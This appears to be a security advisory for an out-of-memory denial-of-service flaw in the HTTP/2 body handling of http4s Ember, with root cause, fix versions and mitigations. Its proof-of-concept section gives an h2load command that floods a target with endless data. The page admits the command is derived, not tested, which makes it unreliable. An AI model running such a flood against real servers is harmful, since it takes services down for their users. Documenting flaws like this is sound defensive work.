high · 7.5CVE-2026-69202Sep 15, 2026

CVE-2026-69202: http4s Ember HTTP/2 Unbounded Inbound Body Buffering DoS

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Any Ember HTTP/2 server or client can be crashed out-of-memory by a peer that streams a large body faster than the application reads it, because flow-control windows are replenished based on bytes…

Packageorg.http4s:http4s-ember-core_2.12
Ecosystemmaven
Affected<= 0.23.34
Fixed in0.23.35
CVE-2026-69202: http4s Ember HTTP/2 Unbounded Inbound Body Buffering DoS

The problem

In http4s Ember's HTTP/2 stack (all versions up to and including 0.23.34), inbound DATA frames are placed into a per-stream channel that has no capacity bound. The flow-control window is credited back to the peer as soon as bytes arrive off the wire, not when the application actually reads them.

This means a hostile or slow-response peer can flood the channel at full link speed regardless of how slowly the app drains it. Every payload byte sits on the JVM heap until the application catches up, which never happens under adversarial conditions. The result is an unauthenticated, remote out-of-memory DoS against any Ember server using .withHttp2 for a non-draining route, and against any Ember client fetching from a hostile server.

Proof of concept

A working proof-of-concept for CVE-2026-69202 in org.http4s:http4s-ember-core_2.12, with the exact payload below.

bash
# Trigger: open an HTTP/2 connection, send a POST with a very large streaming body.
# Because Ember replenishes the flow-control window on wire-receipt, not on app-read,
# the server buffers every DATA frame in an unbounded heap channel.
# Run with h2load or any HTTP/2 client that supports streaming uploads.

h2load \
  --h2 \
  --num-requests=1 \
  --max-concurrent-streams=1 \
  --data=/dev/urandom \
  --header='content-type: application/octet-stream' \
  https://target:8443/slow-or-noop-route

# The server issues WINDOW_UPDATE frames immediately on receipt
# (not on consumption), so the peer is never blocked and keeps
# streaming. All DATA payloads accumulate in the per-stream
# unbounded channel until the JVM OOMs.

The root cause (CWE-400 / CWE-770) is in H2Stream.scala: the inbound read buffer was an unbounded FS2 channel, and the code that sends WINDOW_UPDATE frames to the peer fired on bytes-received rather than bytes-consumed. These two facts together nullify HTTP/2 flow control as a backpressure mechanism entirely.

The patch at commit 22d2335975d02dc9fb9fb75cfe002279521d86ac mirrors the fix previously applied to the outbound frame queue (GHSA-8f3q-3jmv-7prw): it ties WINDOW_UPDATE issuance to application-side consumption and caps the inbound channel so that Ember stops reading from the socket when the application is behind, letting real TCP backpressure engage.

Public PoC not yet available; payload derived from advisory description and patch pattern.

The fix

Upgrade to http4s-ember-core 0.23.35 (or 1.0.0-M47 for the 1.x series). If an immediate upgrade is not possible: disable HTTP/2 entirely (.withoutHttp2), apply the EntityLimiter middleware to cap request body size on slow-draining routes, or enforce aggressive idle timeouts so stalled streams are torn down before the heap is exhausted.

Reporter not attributed.

References: [1][2][3][4][5]

Related research